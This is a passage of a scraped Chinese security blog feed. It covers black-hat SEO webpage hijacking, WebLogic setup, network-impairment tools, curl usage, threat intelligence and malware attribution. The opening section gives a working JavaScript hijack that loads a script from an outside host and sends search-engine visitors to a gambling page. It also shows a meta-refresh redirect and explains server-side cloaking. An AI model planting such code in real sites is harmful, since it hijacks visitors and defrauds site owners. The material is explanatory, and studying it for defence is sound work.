Global.asa、Global.asax、conn.asp、conn.php等文件比较特殊,作用是在每次执行一个动态脚本的时候,都会先加载该脚本,然后再执行目标脚本。所以只要在 Global.asa 中写判断用户系统信息的代码(访问来源等),如果是蜘蛛访问则返回关键词网页(想要推广的网站),如果是用户访问则返回正常页面。

客户端劫持

客户端劫持的手法也很多,但最常用的就两种:js劫持与Header劫持。

js劫持目的是通过向目标网页植入恶意js代码,控制网站跳转、隐藏页面内容、窗口劫持等。js植入手法是可以通过入侵服务器,直接写入源代码中;也可以写在数据库中,因为有些页面会呈现数据库内容。

js劫持代码案例:
以下代码可以使通过搜索引擎搜索的并点击页面时,执行一段js并跳转到博彩页面;而直接输入网址访问网页时,跳转到一个404页面。

1
2
3
4
5
6
7
8
9
10
11
today=new Date();
today=today.getYear()+“-“+(today.getMonth()+1)+“-“+today.getDate();
var regexp=/\.(sogou|so|haosou|baidu|google|youdao|yahoo|bing|gougou|118114|vnet|360|ioage|sm|sp)(\.[a-z0-9\-]+){1,2}\//ig;
var where =document.referer;
if(regexp.test(where)){
document.write (‘<script language=”javascript” type=”text/javascript” src=”http://www.xxx.com/test.js”></script>’);
}
else
{
window.location.href=“../../404.htm”;
}

代码分析:通过referer判断来路,如果referer来路为空就是跳转到404页面,如果是搜索引擎来的referer里面也会有显示,然后在写代码控制跳转。如果只是控制实现显示不同的内容,可以修改php、asp代码;如果需要劫持搜索引擎搜索框,可以写JS代码来做浏览器本地跳转。当然js功能可以无限扩展,比如可以控制一个ip一天内第一次访问正常,其余访问跳转等等。

header劫持,就是在html代码的head中添加特殊标签,代码如下:

1
<meta http-equiv=“refresh” content=“10; url=http://thief.one”>

header劫持利用的就是Meta Refresh Tag(自动转向)功能将流量引走。

直接篡改网页内容(比较低级)

有些黑客在入侵网站后,喜欢直接篡改网页内容,比如放上自己的qq号,或者作为推广将网页篡改成非法页面。

利用高权重网站二级目录

即黑客入侵网站后,在网站二级目录下创建很多自己做推广的页面。为了达到引流的目的黑客往往需要建立大量的二级目录页面,因此需要用到寄生虫程序来自动化的创建页面。此手法也需要入侵高权重网站,获取网站服务器权限。与网页劫持手法不同的是,此手法侧重点在于利用高权重网站自身的优势,在其目录下创建多个推广页面;而网页劫持侧重隐藏自身,其可以做到动态呈现网页内容给客户。因此在实际使用中,黑客经常结合两者使用。此手法与利用泛解析做黑帽seo的手法还是有明显差异的,虽然同样是利用高权重网站本身的优势,但泛解析利用的是二级域名,而此手法利用的是二级目录,当然两者有异曲同工之妙。
总结到此,相信也对黑帽SEO有所了解,如有错误和不足,欢迎指出

(部分内容来源于网络)

文章来源:绿盟科技博客

WebLogic搭建及配置详解

$
0
0

WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。本文主要介绍搭建及基本配置。

官方文档地址:http://docs.oracle.com/en/middleware/index.html

优点

WebLogic Server具有开发和部署关键任务电子商务Web应用系统 所需的多种特色和优势。

  • 标准
    对业内多种标准的全面支持,包括EJB、JSP、Servlet、JMS、JDBC、XML(标准通用标记语言的子集)和WML,使Web应用系统的实施更为简单,并且保护了投资,同时也使基于标准的解决方案的开发更加简便。
  • 可扩展性
    WebLogic Server以其高扩展的架构体系闻名于业内,包括客户机连接的共享、资源pooling以及动态网页和EJB组件群集。
  • 快速开发
    凭借对EJB和JSP的支持,以及WebLogic Server 的Servlet组件架 构体系,可加速投放市场速度。这些开放性标准与WebGain Studio配合时,可简化开发,并可发挥已有的技能,迅速部署应用系统。

和其他服务器区别

  • tomcat (免费)
    Tomcat只能算Web Container,是官方指定的JSP&Servlet容器。只实现了JSP/Servlet的相关规范,不支持EJB(硬伤啊)!不过Tomcat配合jboss和apache可以实现j2ee应用服务器功能
    一般来说考虑stucts等架构tomcat就可以了,但如果考虑EJB的话,WebLogic是比较好的选择。
  • Jboss (免费)
    JBoss是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。
  • weblogic (收费)
    weblogic是j2ee的应用服务器(application server),包括ejb ,jsp,servlet,jms等等,全能型的。是商业软件里排名第一的容器(JSP、servlet、EJB等),并提供其他如JAVA编辑等工具,是一个综合的开发及运行环境。收费

Windows下载安装

地址:
http://www.oracle.com/technetwork/middleware/weblogic/downloads/index.html?ssSourceSiteId=ocomen
版本说明:
这里写图片描述

zip.. 绿色版,解压就可运行使用。
Generic…下载后是个jar包,带有安装向导
剩下的是各个系统的带有开发环境的文件,较大。
这里我们下载第二个,带有向导的安装文件。

下载完成后,文件是个可执行的jar文件,因此我们进入到系统jdk下的/bin目录中,在命令窗口中执行

java <span class="hljs-attribute">-jar</span> 下载的weblogic文件

这里写图片描述
可启动安装向导进行安装,这里省略安装步骤。

安装完成后启动webligic 可看到如下信息:
这里写图片描述

这时可以在浏览器中查看weblogic管理平台
http://localhost:7001/console(7001为默认端口,与tomcat8080一样)

第一次启动页面如下,系统会进行相关配置,等会一会就可以看见管理平台

这里写图片描述

linux下安装

下载linux版的jdk 安装并设置环境变量,具体方法参照各个linux发行版本的安装命令。
这里我们创建新的用户用于安装weblogic

<span class="hljs-preprocessor"># groupadd weblogic  //创建组</span>
<span class="hljs-preprocessor"># useradd -g weblogic weblogic//创建用户并指定组</span>
<span class="hljs-preprocessor"># passwd weblogic //修改密码</span>
<span class="hljs-preprocessor"># su - weblogic  切换用户</span>

安装与windows下一样,使用java 执行jar文件即可。
这里写图片描述

启动安装向导安装步骤和windows下一样。
这里写图片描述

这里写图片描述

进行到这步的时候我们选择生产环境,和之前的windows不一样,windows下我们可以选择开发版。
这里写图片描述

完成之后如下图:

这里写图片描述

我们到weblogic安装目录下启动weblogic
因为是生产环境,在启动日志时会提示输入密码 ,输入我们设置的密码最后看到启动成功。

这里写图片描述

weblogic配置

 生产模式下启动取消密码输入

进入到weblogic安装目录下,进到user_projects/domains/base_domain/servers/AdminServer 下
新建文件夹 命名为:security
进入文件夹,新建文件boot.properties,内容如下:

<span class="hljs-setting">username=<span class="hljs-value">登陆用户名</span></span>
<span class="hljs-setting">password=<span class="hljs-value">密码</span></span>

再次启动则不会让你输入用户名密码。

生产模式与开发模式切换

在生产环境中,进入到当前域的根目录下。
在config/config.xml中可以通过配置从生产环境切换开发环境
这里写图片描述

将true改为false即可,这是在生产模式中改开发模式,在开发模式中看不到这段配置项
这里写图片描述

增加多个域

进入D:\Oracle\Middleware\Oracle_Home\wlserver\common\bin下
运行config.cmd linux下运行config.sh可启动配置向导,可以添加新的域。

增加多个server

进入weblogic管理页面,点击进入服务器管理页面 ,点击新建,输入服务器名称以及端口
这里写图片描述

 

部署应用后目标选择新建的server,输入下面的命令可以启动该server

startManagedWebLogic<span class="hljs-preprocessor">.cmd</span> managed_server_name admin_url (Windows)  
startManagedWebLogic<span class="hljs-preprocessor">.sh</span> managed_server_name admin_url (UNIX)

如:
c:\Oracle\Middleware\user_projects\domains\mydomain\bin\startManagedWebLogic.cmd myManagedServer http://AdminHost:7001
managed_server_name将指定受管服务的名称,admin_url指定管理服务监听地址(主机、IP地址,或者DNS名称),端口。如果管理服务和受管服务在一起的话,可以省略admin_url

修改weblogic 端口

进入D:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\config
编辑config.xml
这里写图片描述

修改weblogic jdk 位置

说明:
1.D:\bea为笔者weblogic安装目录
2.D:\bea\user_projects\domains\base_domain为笔者域创建目录

方法1:
修改文件:D:\bea\wlserver_10.3\common\bin\commEnv.cmd

修改如下行:

@rem Reset JAVA Home
set JAVA_HOME=d:\bea\jdk160_05

方法2:
修改文件:D:\bea\user_projects\domains\base_domain\bin\setDomainEnv.cmd

在下面行
call “%WL_HOME%\common\bin\commEnv.cmd”

后面增加
set JAVA_HOME=d:\bea\jdk160_05

方法3:
修改文件:D:\bea\user_projects\domains\base_domain\bin\startWebLogic.cmd

在下面行
%JAVA_HOME%\bin\java %JAVA_VM% -version

前面增加:
set JAVA_HOME=d:\bea\jdk160_05

方法4:
修改domain中的 setDomainEnv.cmd 文件,将 SUN_JAVA_HOME 和 JAVA_HOME 修改为安装后的JDK路径。

 

set SUN_JAVA_HOME=C:\Program Files\Java\jdk1.6.0_27

if “%JAVA_VENDOR%”==”Oracle” ( 
set JAVA_HOME=%SUN_JAVA_HOME% 
) else ( 
if “%JAVA_VENDOR%”==”Sun” ( 
set JAVA_HOME=%SUN_JAVA_HOME% 
) else ( 
set JAVA_VENDOR=Sun 
set JAVA_HOME=C:\Program Files\Java\jdk1.6.0_27 
) 
)

(文章转载自网络)

文章来源:绿盟科技博客

网络传输质量测试工具的使用介绍

$
0
0
在产品的测试过程偶尔会遇到一些异常场景下的测试如延迟、丢包、乱序、节流、重发等测试,可能对有的一些测试可以通过专业的测试仪表能够模拟,但是如果再真实的网络环境测试一些网络异常情况下设备的处理情况,通过什么工具能够进行模拟呢?

下面给大家介绍2各种工具:一个是windows系统下的clumsy 另一个是linux系统下的tc网络流量控制工具。

Windows Clumsy工具

Clumsy,是基于C语言开发的一款开源的网络模拟工具,基于windows平台下人工操作不稳定的网络情况,来验证程序或者设备的在极端情况下的处理情况。可以在根据自己PC系统下情况在网上下载clumsy 32位或64位。

下载地址:http://jagt.github.io/clumsy/download.html

Clumsy提供的功能介绍

(1)延迟(Lag):把数据包缓存一段时间后再发出,这样能够模拟网络延迟的状况;

(2)丢包(Drop):随机丢弃一些数据;

(3)截流(Throttle):把一小段时间内的数据拦截下来后再在之后的同一时间一同发出去;

(4)重发(Duplicate):随机复制一些数据并与其本身一同发送;

(5)乱序(Out of order):打乱数据包发送的顺序;

(6)篡改(Tamper):随机修改小部分的包裹内容。

工具的使用

👉 presets 设置相应的条件:

支持过滤相应的源目的地址、协议、端口、报文方向(出/入)

👉  设置完presets后会在Filtering 显示过滤条件,根据自己的需要对ip地址、端口等进行修改,可以通过and、or进行条件过滤

👉 功能项参数选项

分别支持延迟、丢包、截流、重发、乱序、篡改。

Inbound/outbound  入或出方向的报文

Delay  延迟的时间

Chance 功能生效的概率

👉 点击clumsy的start 工具就正常运行

Linux TC工具

Netem是linux2.6以上内核版本提供的的一个网络模拟功能模块,该模块能够用来在良好的网络中,模拟复杂的网络传输的性能如低带宽、传输延迟、丢包、乱序等。

TC是linux系统的一个流控工具,来控制netem的工作模式,TC包含三个基本的构成块:队列规定qdisc 、策略控制class类、分类器filter

⏩ Qdisc:用来实现控制网络的收发速度,通过队列可以把网络的数据包缓存起来,然后根据用户的设置进行发送。无类别qdisc队列包含FIFO(先进先出)、RED(随机早期探测)、SFQ(随机公平队列)、TBF(令牌桶)  可分类qdisc基队列包含:CBQ(根据数据流特征进行QOS)、HTB(根据TBF实现带宽限制)、PRIO(对流量进行优先级管理)

⏩ Class:通过设置不同数据类型的数据包的出队列的优先级。

⏩ Filter:对数据包进行分类,然后决定根据何种QDisc进入队列。

Linux网络延迟的命令操作

命令:tc qdisc add/del dev x root netem y

🔹 Add/del 增加或删除相应的过滤条件

🔹 Dev x:表示相应的接口,

🔹 Netem 支持delay(延时)、loss(丢包率)、duplicate(重复包率)、corrupt(错包率)、reorder(乱序)、rate(速率)

延迟的测试情况:

TC的命令可以增加相应的过滤器命令以及相关的查看操作如下:

tc qdisc [ add | change | replace | link ] dev DEV [ parent qdisc-id | root ] [ handle qdisc-id ] qdisc[ qdisc specific parameters ]
tc class [ add | change | replace ] dev DEV parent qdisc-id [ classid class-id ] qdisc [ qdisc specificparameters ]

tc filter [ add | change | replace ] dev DEV [ parent qdisc-id | root ] protocol protocol prio priorityfiltertype [ filtertype specific parameters ] flowid flow-id

tc [-s | -d ] qdisc show [ dev DEV ]

tc [-s | -d ] class show dev DEV

tc filter show dev DEV

以上是两种模拟网络传输质量的工具使用方法,有兴趣了解的可以尝试一下,有问题欢迎沟通交流。

文章来源:绿盟科技博客

Linux命令之curl –强大的网络传输工具

$
0
0

linux curl是通过url语法在命令行下上传或下载文件的工具软件,它支持http,https,ftp,ftps,telnet等多种协议,常被用来抓取网页和监控Web服务器状态。

curl命令是一个功能强大的网络工具,它能够通过http、ftp等方式下载文件,也能够上传文件。其实curl远不止前面所说的那些功能,大家可以通过man curl阅读手册页获取更多的信息。类似的工具还有wget。

curl命令使用了libcurl库来实现,libcurl库常用在C程序中用来处理HTTP请求,curlpp是libcurl的一个C++封装,这几个东西可以用在抓取网页、网络监控等方面的开发,而curl命令可以帮助来解决开发过程中遇到的问题。

常用参数

语法:# curl [option] [url]

-A/--user-agent &lt;string&gt; 设置用户代理发送给服务器
-b/--cookie &lt;name=string/file&gt; cookie字符串或文件读取位置
-c/--cookie-jar &lt;file&gt; 操作结束后把cookie写入到这个文件中
-C/--continue-at &lt;offset&gt; 断点续转
-d/--data/--data-ascii &lt;data&gt; 指定POST的内容
-D/--dump-header &lt;file&gt; 把header信息写入到该文件中
-e/--referer 来源网址
-f/--fail 连接失败时不显示http错误
-H/--header &lt;header&gt; 指定请求头参数
-I/--head 仅返回头部信息,使用HEAD请求
-m/--max-time &lt;seconds&gt; 指定处理的最大时长
-o/--output 把输出写到该文件中
-O/--remote-name 把输出写到该文件中,保留远程文件的文件名
-r/--range &lt;range&gt; 检索来自HTTP/1.1或FTP服务器字节范围
-s/--silent 静音模式。不输出任何东西
-T/--upload-file &lt;file&gt; 指定上传文件路径
-u/--user &lt;user[:password]&gt; 设置服务器的用户和密码
-v/--verbose 小写的v参数,用于打印更多信息,包括发送的请求信息,这在调试脚本是特别有用。
-w/--write-out [format] 什么输出完成后
-x/--proxy &lt;proxyhost[:port]&gt; 指定代理服务器地址和端口,端口默认为1080
-#/--progress-bar 进度条显示当前的传送状态

--connect-timeout &lt;seconds&gt; 指定尝试连接的最大时长
--retry &lt;num&gt; 指定重试次数

1、基本用法

# curl http://www.linux.com

执行后,www.linux.com 的html就会显示在屏幕上了
Ps:由于安装linux的时候很多时候是没有安装桌面的,也意味着没有浏览器,因此这个方法也经常用于测试一台服务器是否可以到达一个网站

2、保存访问的网页
2.1:使用linux的重定向功能保存

# curl http://www.linux.com &gt;&gt; linux.html

2.2:可以使用curl的内置option:-o(小写)保存网页

$ curl -o linux.html http://www.linux.com

执行完成后会显示如下界面,显示100%则表示保存成功

% Total    % Received % Xferd  Average Speed  Time    Time    Time  Current
                                Dload  Upload  Total  Spent    Left  Speed
100 79684    0 79684    0    0  3437k      0 --:--:-- --:--:-- --:--:-- 7781k

2.3:可以使用curl的内置option:-O(大写)保存网页中的文件
要注意这里后面的url要具体到某个文件,不然抓不下来

# curl -O http://www.linux.com/hello.sh

3、测试网页返回值

# curl -o /dev/null -s -w %{http_code} www.linux.com

Ps:在脚本中,这是很常见的测试网站是否正常的用法

4、指定proxy服务器以及其端口
很多时候上网需要用到代理服务器(比如是使用代理服务器上网或者因为使用curl别人网站而被别人屏蔽IP地址的时候),幸运的是curl通过使用内置option:-x来支持设置代理

# curl -x 192.168.100.100:1080 http://www.linux.com

5、cookie
有些网站是使用cookie来记录session信息。对于chrome这样的浏览器,可以轻易处理cookie信息,但在curl中只要增加相关参数也是可以很容易的处理cookie
5.1:保存http的response里面的cookie信息。内置option:-c(小写)

# curl -c cookiec.txt  http://www.linux.com

执行后cookie信息就被存到了cookiec.txt里面了

5.2:保存http的response里面的header信息。内置option: -D

# curl -D cookied.txt http://www.linux.com

执行后cookie信息就被存到了cookied.txt里面了

注意:-c(小写)产生的cookie和-D里面的cookie是不一样的。

5.3:使用cookie
很多网站都是通过监视你的cookie信息来判断你是否按规矩访问他们的网站的,因此我们需要使用保存的cookie信息。内置option: -b

# curl -b cookiec.txt http://www.linux.com

6、模仿浏览器
有些网站需要使用特定的浏览器去访问他们,有些还需要使用某些特定的版本。curl内置option:-A可以让我们指定浏览器去访问网站

# curl -A "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.0)" http://www.linux.com

这样服务器端就会认为是使用IE8.0去访问的

7、伪造referer(盗链)
很多服务器会检查http访问的referer从而来控制访问。比如:你是先访问首页,然后再访问首页中的邮箱页面,这里访问邮箱的referer地址就是访问首页成功后的页面地址,如果服务器发现对邮箱页面访问的referer地址不是首页的地址,就断定那是个盗连了
curl中内置option:-e可以让我们设定referer

# curl -e "www.linux.com" http://mail.linux.com

这样就会让服务器其以为你是从www.linux.com点击某个链接过来的

8、下载文件
8.1:利用curl下载文件。
#使用内置option:-o(小写)

# curl -o dodo1.jpg http:www.linux.com/dodo1.JPG

#使用内置option:-O(大写)

# curl -O http://www.linux.com/dodo1.JPG

这样就会以服务器上的名称保存文件到本地

8.2:循环下载
有时候下载图片可以能是前面的部分名称是一样的,就最后的尾椎名不一样

# curl -O http://www.linux.com/dodo[1-5].JPG

这样就会把dodo1,dodo2,dodo3,dodo4,dodo5全部保存下来

8.3:下载重命名

# curl -O http://www.linux.com/{hello,bb}/dodo[1-5].JPG

由于下载的hello与bb中的文件名都是dodo1,dodo2,dodo3,dodo4,dodo5。因此第二次下载的会把第一次下载的覆盖,这样就需要对文件进行重命名。

# curl -o #1_#2.JPG http://www.linux.com/{hello,bb}/dodo[1-5].JPG

这样在hello/dodo1.JPG的文件下载下来就会变成hello_dodo1.JPG,其他文件依此类推,从而有效的避免了文件被覆盖

8.4:分块下载
有时候下载的东西会比较大,这个时候我们可以分段下载。使用内置option:-r

# curl -r 0-100 -o dodo1_part1.JPG http://www.linux.com/dodo1.JPG
# curl -r 100-200 -o dodo1_part2.JPG http://www.linux.com/dodo1.JPG
# curl -r 200- -o dodo1_part3.JPG http://www.linux.com/dodo1.JPG
# cat dodo1_part* &gt; dodo1.JPG

这样就可以查看dodo1.JPG的内容了

8.5:通过ftp下载文件
curl可以通过ftp下载文件,curl提供两种从ftp中下载的语法

# curl -O -u 用户名:密码 ftp://www.linux.com/dodo1.JPG
# curl -O ftp://用户名:密码@www.linux.com/dodo1.JPG

8.6:显示下载进度条

# curl -# -O http://www.linux.com/dodo1.JPG

8.7:不会显示下载进度信息

# curl -s -O http://www.linux.com/dodo1.JPG

9、断点续传
在windows中,我们可以使用迅雷这样的软件进行断点续传。curl可以通过内置option:-C同样可以达到相同的效果
如果在下载dodo1.JPG的过程中突然掉线了,可以使用以下的方式续传

# curl -C -O http://www.linux.com/dodo1.JPG

10、上传文件
curl不仅仅可以下载文件,还可以上传文件。通过内置option:-T来实现

# curl -T dodo1.JPG -u 用户名:密码 ftp://www.linux.com/img/

这样就向ftp服务器上传了文件dodo1.JPG

11、显示抓取错误

# curl -f http://www.linux.com/error

文章内容来源于网络,原文地址:http://www.cnblogs.com/duhuo/p/5695256.html

文章来源:绿盟科技博客

威胁情报之剑指落地

$
0
0

威胁情报(Threat Intelligence)的市场教育已进行了许多年,众多公众号对其定义、应用场景和价值已做了详尽的介绍,笔者在此不再赘述,仅试图从一个企业安全运营者角度理解威胁情报。

概述

何为威胁情报

威胁情报(Threat Intelligence)的市场教育已进行了许多年,众多公众号对其定义、应用场景和价值已做了详尽的介绍,笔者在此不再赘述,仅试图从一个企业安全运营者角度理解威胁情报。

威胁情报简介及市场浅析

威胁情报价值:北美和英国公司的第二个年度研究报告

使用威胁情报调查攻击者

各个安全情报厂商的情报平台白皮书是安全运营者应用威胁情报前必读之物,而词云图则是把握中心思想的有效工具。因而笔者从各个白皮书中的文字生成如下词云图,可以看到:

一级大词:信息

二级大词:情报、关联、域名、IP和文件

三级大词:查询、恶意和威胁

看图说话构造中心思想:

威胁情报平台提供这样一种查询服务,提供与恶意(攻击者)和(安全)威胁相关的情报,主要是域名、IP和文件以及关联关系等信息。

  • 情报词云

笔者认为,威胁情报之于企业安全运营者,提升的是两个方面:响应能力和感知能力。威胁情报的出现对于企业安全,一方面随着安全盒子能力逐渐成熟和X86服务器软实力在去IOE浪潮中的提升,企业在检测部署上有了更多的选择,通过互联互通和快速共享更新威胁信息,企业可以迅速聚焦威胁和数据本身,提升自身的响应速度、检测效率,以及整体人力投入产出比;另一方面,威胁情报作为企业态势感知的有效数据支撑,使得企业能够从威胁的角度评估自身资产和员工的行为风险,同时情报平台海量关联数据,能够弥补企业对外部威胁的盲区,知己知彼。

现状

威胁情报这个名字诞生时间无从考证了,各大厂商、机构甚至个人纷纷推出自己的情报数据及平台,来输出自有情报和各个情报数据源的数据的融合结果。

图1.2 CriticalStack情报融合平台

情报标准也有众多机构进行推进(STIX,  MAEC,  Cybox,  OpenIOC等等),光从STIX标准来看,诞生已有三年,现已推进到2.0版本,格式也已从臃肿的XML转换到更为实用、好解析的JSON。

图1.3 STIX的commit状况

针对情报标准,个人将其不成熟地划分为六大逻辑分层:对象描述层、行为关系层、事件层、战术层、敌对描述层和应急响应层。从变化来看,主要有三大变化:通俗化,如原来军事名词TTP(Tactics, Techniques, and Procedures)替换为更通俗易懂的Attack Pattern,字段规划也更为简单清晰;具化,如战术层中专门提出了最为通用的攻击手段Malware,对象描述层中添加了Identity等对象,方便描述组织/个人;实战化,如应急响应层中添加了Sighting等对象,使用者更容易根据情报和事件的关联关系执行不同的响应流程。

图1.4 情报标准逻辑分层

一个(潜在)行业标准的演进往往可看出行业应用者关注点的变化,从一开始的“有数据”的阶段(能查、能看、满足溯源需求),到“用数据”的阶段,威胁情报在信息安全行业的应用已到了关注实战/实时应用和响应效果的阶段。

威胁情报种类

对于威胁情报的分类,业界也有众多定义,最为广泛传播是Gartner定义的运营情报、战术情报和战略情报。笔者在此并不介绍大而全的分类标准,仅从实用性角度和自身经验出发,介绍运营情报里面最为常用的四种情报分类:基础情报、威胁对象情报、IOC情报和事件情报。

基础情报

一言以概之,基础情报就是这个网络空间对象(IP/域名/邮箱/SSL证书/文件)是啥,谁拥有它,谁使用它。具体到基础数据展示则包含开放端口/服务/指纹、WHOIS/ASN、PDNS、地理位置信息等,弥补安全运营者对公网资产的的感知缺口。

图2.1 情报平台中的基础情报样例

威胁对象情报

所谓威胁对象情报则是提供和威胁相关的对象信息(IP/域名/邮箱/SSL证书/文件),可理解为提供“犯罪分子”的“犯罪记录”(监控历史),“相关家庭关系”(相关域名,相关漏洞,相关文件等),“社会信用”(威胁评分,黑名单命中状况,恶意标记)等信息。

图2.2 情报平台中的威胁对象情报

IOC情报

IOC(Indicator of compromise)意为威胁指示器,通常指的是在检测或取证中,具有高置信度的威胁对象或特征信息。企业侧的流量检测或主机检测设备,通过机读格式(OpenIOC,STIX或私有格式)消费该类情报。

图2.3 企业侧平台的IOC情报

事件情报

事件情报则是综合各种情报信息,结合相关事件描述,告诉安全运营者外部威胁概况和安全事件详情,进而让安全运营者对当前热点安全事件进行针对性防护。

图2.4 情报平台中的事件情报

图2.5 企业侧平台中的事件情报

情报冲突与时效性

时效性

时效性强是情报的重要特点。从笔者之前对多个开源情报的收集分析中尝试一窥,75%的恶意IP情报持续时间在5天内,平均每天6668个新增IP IOC(部分外部采集源)。开源情报存在两个问题:置信度问题和时效性问题。置信度问题下一小节详述,先说时效性问题。许多开源情报往往并没有标注持续时间,仅标记生成时间。很多都是每天一个列表,应用者只知道开源情报平台什么时候发现该恶意对象,并不知道该对象是否持续作恶。情报的域名拥有者、IP使用者和其上的业务,随着时间的推移,可能产生变化,黑IP会变成白IP。过时或失真的情报会在实际使用中给应急处置带来大量的垃圾告警,给安全管理人员造成困扰。因而,光靠采集外部情报进行威胁情报平台建设往往有着数据有效性上的质疑。拥有盒子产品的情报平台厂商可以尝试从基础流量和自有告警数据中,结合衰减算法,对情报数据的时效性进行定义。

图3.1 IP恶意情报的持续时间

图3.2 每天新增的新IP恶意情报数量

多源情报冲突

还是相同的开源情报数据,可以看到57%的恶意IP情报被标记多个类型或被多个情报源标记。三人成虎的方法往往成为业界的基本做法,即多个来源说一个IP是恶意的,它就更恶意(恶意置信度或威胁指数上升),但其实这里有个现实的逻辑陷阱:由于无从考证开源情报源的基础数据来源,所以无法得知各个情报源之间是否有相互“抄袭”的状况。如果单纯三人成虎,则很有可能产生循环论证的后果。因而开源情报和自有设备流量/告警进行综合比对,是一个可信情报平台必不可少的数据分析流程。

图3.3 多源多标签标记

同时,开源情报不仅有黑情报,还有白IP情报,业界往往把不同维度上访问量高的IP和域名作为可信的白名单,例如思科的Umbrella Popularity List和Alexa的Top1m List。如果将域名对应的Alexa排名赋予其指向的IP,然后和黑名单IP关联比较,可以看出,即使强如Alexa排名前一百的IP,冲突数量也有数百。在笔者的经验中,企业外发流量往往70%是访问Alexa排名前一百万的。这就意味着如果拿开源情报在企业实时流量中匹配会产生大量的误报。Piz0n在Wo~ 反情报也提到了黑产刷Alexa排名的情况。下图纵轴是冲突数量,横轴的Alexa的排名区间。

图3.4 Alexa排名区间与冲突

笔者同时选取一段时间的开源情报和思科的Umbrella Popularity List进行交叉比对,同样发现许多冲突的状况。其实,拿Alexa的名单和思科的名单作为白名单,其中有个偷换概念的行为,即将“多人(IP)访问”替换成了“可信”,然而统计学的“广泛”的概念并不意味着安全可信,只能说是类似“你如果中招了,你不是唯一一个”的心里安慰。下图纵轴是冲突数量,横轴是不同的情报源。

图3.5 不同情报源黑名单和思科的Umbrella Popularity List名单对比

因此,情报的融合和置信度计算是一个比较庞大的命题,且并不可能成为一个纯数学和证据计算的自动化过程,而是整个威胁情报团队持续运营的过程。安全自动化里面的“脏”秘密也提到安全自动化情报的作用是“指数级提升防御强度,还能减轻安全团队负担,让他们解放出来,持续关注自身优先事务”。对于可信情报的输出,外部情报、样本文件行为和自有设备告警往往只能成为触发融合验证工作流的引子,算法和自动化流程做的只能做到基础的排序学习和推荐功能,最终保障人工验证的效率和情报应用覆盖度。强大而靠谱的情报运营人员和安全研究人员才是可信情报的“定海神针”。

总结

本文介绍了威胁情报对于企业安全运营者的意义,相关种类,分享了情报体系建设中的关键问题和我们尝试的解决方案,希望能为读者带来直观的认识,引发落地应用的思考。下一篇将介绍威胁情报在企业侧的落地应用和实战经验。

文章来源:绿盟科技博客

恶意样本分析手册–溯源篇

$
0
0

本篇是样本分析手册的最终篇章,前面的几大篇章主要侧重于基础调试技巧和样本分析方法,而溯源篇是在掌握之前技能的基础上,进行能力进一步提升,可以说掌握了常规的溯源方法,才算是一名合格的恶意样本分析人员

单就从“恶意样本分析人员”这个职位名称来看,可以拆分为:

“恶意” + “样本” +“分析” + “人员”

其中:样本是我们关注的重点,也是最初的原材料(巧妇难为无米之炊),有了样本才能够进行下一步分析。

分析是通过掌握的知识技能去了解样本的功能(做饭的技法)以及样本制造者的创造性思维。

人员当然意指分析人员(一千个读者就有一千个哈姆雷特),一份样本分析报告的质量,视分析人员的能力水平而定。

恶意样本溯源追踪主要去了解攻击者或者团队的意图;(有因才有果,这里主要是通过分析结果,去了解攻击者的意图,比如:政治,私怨,业务,经济等)。

了解攻击链

恶意攻击的活动大概有如下7步骤:

  • Reconnaissance:侦查,充分的社会工程学了解目标。
  • Weaponization:定向的攻击工具的制作。常见的工具交付形态是带有恶意代码的pdf文件或office文件。
  • Delivery:把攻击工具输送到目标系统上。APT攻击者最常用这三种来传送攻击工具,包括邮件的附件、网站(挂马)、USB等移动存储。
  • Exploitation:攻击代码在目标系统触发,利用目标系统的应用或操作系统漏洞控制目标。
  • Installation:远程控制程序的安装。使得攻击者可以长期潜伏在目标系统中。
  • Command and Control (C2) :被攻破的主机一般会与互联网控制器服务器建立一个C2信道,即与C2服务器建立连接。
  • Actions on Objectives:经过前面六个过程,攻击者后面主要的行为包括:
  • 偷取目标系统的信息,破坏信息的完整性及可用性等。
  • 进一步以控制的机器为跳转攻击其它机器,扩大战果。

追踪溯源方法

恶意样本的追踪溯源需要以当前的恶意样本为中心,通过对静态特征和动态行为的分析,解决如下问题:

  • 谁发动的攻击?攻击背景是什么?
  • 攻击的意图是什么?
  • 谁编写的样本?
  • 样本使用了哪些攻击技术?
  • 攻击过程中使用了那些攻击工具?
  • 整个攻击过程路径是怎样的?

恶意样本追踪溯源可以采取如下方法:

域名/IP

这种溯源方法是最基本的方法,通过对攻击者使用的域名和IP地址进行分析,挖掘攻击源头。

查询域名的whois信息,可以关联到攻击者部分信息,注册名,注册邮箱,注册地址,电话,注册时间,服务商等。

下面是通过样本分析对域名进行溯源分析的典型案例:

案例1:

Checkpoint经过细致分析后,最终归纳出一个首要嫌疑犯,即昵称为“Nexxus Zeta”的一个犯罪分子,原因在于攻击者在注册僵尸网络的某个C&C域名(nexusiotsolutions.net)时,所使用的邮箱地址包含相关信息。

该邮件地址(nexuszeta1337@gmail.com)与C&C域名有一些交集,因此怀疑这个地址并不是一次性邮件地址,可以根据该地址来揭晓攻击者的真实身份。当搜索Nexus Zeta 1337时,在HackForums上找到了一个活跃的成员,该成员的用户昵称为“Nexus Zeta”,自2015年8月起已经是HackForums的一份子。虽然这个人在这种论坛上活跃度很低,但他发表了几篇帖子,从这些帖子中并没有发现他的专业水平有多高。不过有趣的是,他最近关注的是如何建立起类似Mirai的IoT僵尸网络。

“NexusZeta”在社交媒体上也颇为活跃,主要是在Twitter以及Github上,他在这两个平台上都公布了自己的IoT僵尸网络项目。实际上,这个人还将其Github账户关联到前面提到的某个恶意域名(nexusiotsolutions.net)。分析人员也找到了他所使用的Skype以及SoundCloud账户,使用人名为Caleb Wilson(caleb.wilson37 / Caleb Wilson 37),然而无法确定这个名字是否就是其真实姓名。

样本分析及详细的溯源分析内容可参考链接:https://research.checkpoint.com/good-zero-day-skiddie/

案例2:

样本分析过程中,通过网络抓包,获取到攻击者的控制域名信息:

域名信息关联后,如下图所示:

这里点到为止,对上述信息进行进一步分析后,最终可定位到攻击者本人,并且最终成功接管攻击控制的域名。

案例3:

